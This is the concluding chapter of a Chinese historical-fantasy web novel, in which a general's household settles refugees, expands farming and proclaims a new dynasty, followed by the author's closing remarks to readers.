“请将军顺天应人,挑起重担!”其余耆老士绅,乃至百姓中,也有许多人跟着呼喊起来。 声音起初杂乱,渐渐汇成一片。 杜言上前两步,对着台下百姓,一揖到地:“诸位父老乡亲,诸公拳拳之心,万民殷殷之望,杜言同感肺腑。然此非寻常事,乃关乎国本,系乎万民之将来。不可因一时群情激愤,便仓促定夺。今日我等聚于此,首要之事,乃祭奠亡灵,拜别旧朝,以全忠义之心,以慰英魂于地下。” 他提高了声音:“待今日祭礼完毕,送别英灵,了结旧缘。将军自会与诸公从容商议,再行定计。如此,方不负天下,不负万民。” 燕钊顿了顿,再次深深一礼:“燕某谢过诸君厚爱。这份心意,燕某铭记在心。” 祭典结束,尘埃落定。 杜言与燕钊商议后,迅速调整策略,制定了接下来一系列行动方案。 核心思路是,只骂架,不打仗,关起门来搞建设。 利用衡州天险,坚守不出,将张邠阳交给萧世权及其他大小势力去对付。 定期发布檄文,痛斥张邠阳“欺天篡逆,戕害忠良”,与之彻底划清界限。暗中与张邠阳的敌对势力保持有限联络,提供少量钱粮军械,让他们与张邠阳互相消耗。 修建“李少卿祠”,组织文人撰写文章,传扬其“忠烈贯日,舍生取义”的精神。以此昭告天下,衡州尊重并推崇气节,这里才是忠义之士的归宿。衡州为不愿依附张邠阳的官员士子,大开方便之门,妥善安置,量才录用。 这些举措,将燕钊从军阀,逐步塑造成有道义有理想的明主,声望一日高过一日。 随着张邠阳与各方势力的战事日趋激烈,越来越多的流民开始向衡州涌来。 苗悦亲自带人踏勘,将衡州城东南西北四个方向的荒地坡地滩涂都丈量清楚,按流民户数丁口多寡,结合土地肥瘠与水利条件,制定出细致的分发与垦殖方案。 接纳流民,分发土地,供给种子农具,督促生产,囤积粮草。 大半年后,秋日。 衡州城外,大片的荒野坡地被开垦出来,虽然开垦时日尚短,今年能赶上收割的熟地不多,但田垄里金灿灿的穗预示着未来的丰收。 苗悦挽着袖子,蹲在一处田埂边,鞋袜裙摆沾满泥土。 她用指尖捻开谷穗,显出饱满的谷粒。 几个肤色黝黑的农妇和老农站在她身边,喜道:“这谷子粒多实沉。” 一个老农指了指身后的田地,脸上皱纹都笑开了:“夫人分下来的这批种子,收成比我在老家好,估摸着每亩能多收两担。” 另一个农妇忙不迭地点头:“是哩是哩,秧苗也精神,病害少,真是好种子。” 苗悦眼睛亮亮的,笑开了花:“既然今年试种成了,明年开春,加大分量,全都发下去。” “谢谢夫人。”农妇和老农们连忙应声,满是期盼。 官道上,燕钊带着一队人马巡城返回,路过此地,一眼看到田埂边那个熟悉的身影。 他勒住马,含笑望过去。 杜言顺着他的目光看去,抚须而笑,道:“夫人是真真切切与民共甘苦的。现在满城上下,都赞夫人贤德,赞将军您眼光好。” 燕钊嘴角翘得更高,目光柔和。 苗悦似有所感,抬头望来,当即捧着谷穗,朝这边跑来。 燕钊几人立刻都下了马。 亲卫们纷纷行礼:“夫人。” “你们看。”苗悦走到近前,献宝似的将谷穗捧给他们,“这是今年新地里收的,用的是无咎带来的那批种子。方才他们都说,这谷子成实,亩产能比往年高出不少呢。” 她额上挂着细密的汗珠,脸颊泛着劳作后的健康红晕。 杜言问:“夫人,明年这些地可都能种上?” 苗悦点点头:“我问过了,他们说可以。” 杜言又问:“那人手可够?” 苗悦道:“人手是够的,种子还差点,不过已经打听到这个种子是哪里来的,派人过去了。半年来新迁入的流民,已经安置了四千三百余户,将近两万口,去掉兵丁壮工,还有几千人。只等开春,就可以全面播种。” 杜言露出喜色:“太好了,我正为每年五万石的军粮发愁。” 苗悦想了一下,说:“入库的粮食够的,可先拨三万石入军仓,保底军需。剩余的再加上今冬明春的入项,能支撑到夏粮接上。夏收之后,就可以陆续补足。” 杜言微讶:“夫人怎知库房收支的数目?” 苗悦解释道:“将军让我负责流民安置。我自然要清楚库里有多少粮食。不然怎么知道该发多少,能撑到几时。” 杜言笑道:“我正要去查阅各处粮仓的簿册,核算今冬明春的用度。夫人可否指教一二?” 燕钊看了杜言一眼,正待开口,苗悦已经掰上手指。 “今年秋粮,截至昨日,实收已入库三万一千二百石。未来十日,预计还能有近两万石可入仓。到明年夏收前,若无大战,按现有人口与兵员定额,每月需耗粮约八千石。” 燕钊闻言,笑着闭上了嘴。 杜言又问:“赈济的粮食,可留足了?” “留足了。”苗悦道,“再说流民入城,又不是只等救济。分地垦荒,以工代赈,皆有产出。不擅耕种的妇人,也没闲着。我弄了一个织造坊,让她们缝制军服被褥。这样军中也能节省一部分开支。” 杜言听着这条理清晰数字精准的叙述,先是惊讶,而后转为佩服。 当初让夫人负责流民安置,主要是因为局面变化太快,周边城池急需人手,大半能管民政的都派出去了,实在有些支应不开。 用开荒安置流民的法子又是夫人提出来的,便让她管起来了。只要能大致安顿下来,不出乱子,便是帮了大忙。 如今看来,夫人不但将流民安置妥帖,竟连带着将粮储收支消耗预算,一并纳入了掌控。 杜言忽然意识到,他确实已经很久没有为这些事操过心了。 他连连点头,看看苗悦,又看看燕钊,道:“将军得夫人如此,实乃大幸!” 燕钊掩不住自得,下意识抬手想抚她,手伸到一半顿住了,偏头瞥了杜言一眼。 杜言心领神会,立刻道:“将军,我们还有事,先行一步。” 说罢,他带着几个亲兵离开。 燕钊这才将苗悦半湿的碎发捋到耳后:“莫要太辛苦。” “这算什么辛苦。”苗悦笑道,看向田埂上往来忙碌的农人,“你不知道,我看着这些,心里有多踏实。终于不用过担惊受怕的日子了。” 她说着,忽然想起什么,低声问:“对了,我让你帮我做的‘悬丝探囊’,如何了?” 燕钊道:“丝线都制好了,工匠正在赶制机括,很快便能做好。你要这个做什么?” 苗悦狡黠一笑:“我怕说了你不允。其实我还有一手绝活。我瞧新兵里有些个手脚灵便、眼神活络的孩子,便私下教了他们几个月。别说,还真有两三个极有天赋的好苗子。好好打磨一两年,刺探军情时,配上这悬丝探囊,行事能便宜不少。” 燕钊一愣,随即失笑:“夫人真是日日夜夜都在为我操心。” “我可不是为了你。”苗悦纠正,下巴微扬,“我好不容易过上吃喝不愁的日子,自然盼着它长长久久才好。” 燕钊听了,轻轻拉起她的手。两人一同望向广阔的田野。 秋日金黄散去,冬日白雪润泽,当春风再度吹拂这片土地时,褐色的田野上,一点点,一片片,冒出青芽,很快连成了望不到边的绒毯。 与这新绿一同冒出的,是萧世权称帝的消息。 杜言等待的时机,终于到了。 他精神大振,立刻开始拟国号,定年号,择吉日,推动燕钊称帝。 在一个春光和煦的日子,燕钊于城南设坛,祭告天地,在文武百官与万民注视下,正式即皇帝位,定国号为“赵”,改元“定安”。 自此,天下三分之势,遂成。 无论张邠阳或萧世权如何拉拢,或挑衅,燕钊始终岿然不动。 他牢牢守着天险,高筑墙,广积粮,将绝大部分精力用在内政建设与经济发展上。 练兵,屯田,兴修水利,鼓励商贸,接纳流民,安置士人…… 来年的夏祈节,城外四野,稻禾青青,抽出了饱满的穗子,在暖风里掀起 层层浪。 虽未到秋收,但那沉甸甸弯下的姿态,已可预见一个实实在在的丰年。 街巷比去年此时更加拥挤喧嚣,流民大多已落地生根,仓皇不见。市井之间,货物流通,生机勃勃。 城隍庙前,彩楼依旧披红挂彩,万头攒动,欢声如雷。 吉时将至,钟鼓再鸣。 燕钊头戴九旒冕冠,身着绛纱袍,庄重威严,天日之表。 苗悦一身深青织金云凤纹礼服,头戴龙凤花钗冠,珠翠环绕,仪态万千。 二人携手出现在彩楼之上,百姓的呼声直冲云霄。 苗悦的目光缓缓扫过下方一张张激动仰望的脸,望向远处无边的田野。 这已确凿无疑是她的城,她的民,她用双手参与缔造的太平。 焚香,祈福,每一步都昭示着天命所归与民心所向。 主持此次大典的孙佑安,身穿簇新的官服,容光焕发,恭敬地侍立在旁。 侍从捧上盛满五谷、彩缕、金银箔花的金盘。 苗悦与燕钊同时伸手,抓起大把的吉祥之物,向着楼下的百姓扬洒下去,引得欢声雷动。 在宽大庄重的礼服袖摆遮掩下,燕钊的手,再一次悄悄探出,勾住了苗悦的手。 苗悦指尖轻动,在他温热的掌心,轻轻回勾了一下,一如记忆世界中那般。 侍女奉上白玉杯,杯中盛着今年新酿的第一杯百花酒,色泽清亮,香气馥郁。 缀满金黄谷粒的“丰登绦”,在阳光下流溢着富足的光泽。 两人各执绦带一端,共同将它系在经历了风雨的朱漆栏杆上。 红绦在暖风中飘扬,其下坠着的真实谷粒摇晃碰撞,发出细微悦耳的沙沙声,仿佛在吟唱着关于土地与收获的古老歌谣,也昭示着一个新生王国绵长的福泽与可期的丰饶。 【全文终】—— 作者有话说:关于库粮与消耗数目这块,我查了好多资料,不同朝代差异很大,各有说法,实在辨不清,就按我自己的理解写了,拜托大家多多包容。 复健真是难,和刚写文时一样的感觉,完全新手。 直到这本完成才摸到点门道,也发现了这本的问题,争取在下一本改进。 番外不一定,有想法了也是用福利番外发出,时间不定。 最后,万分感谢追订到完结的小可爱们,谢谢你们的信任。 下本见~!《 》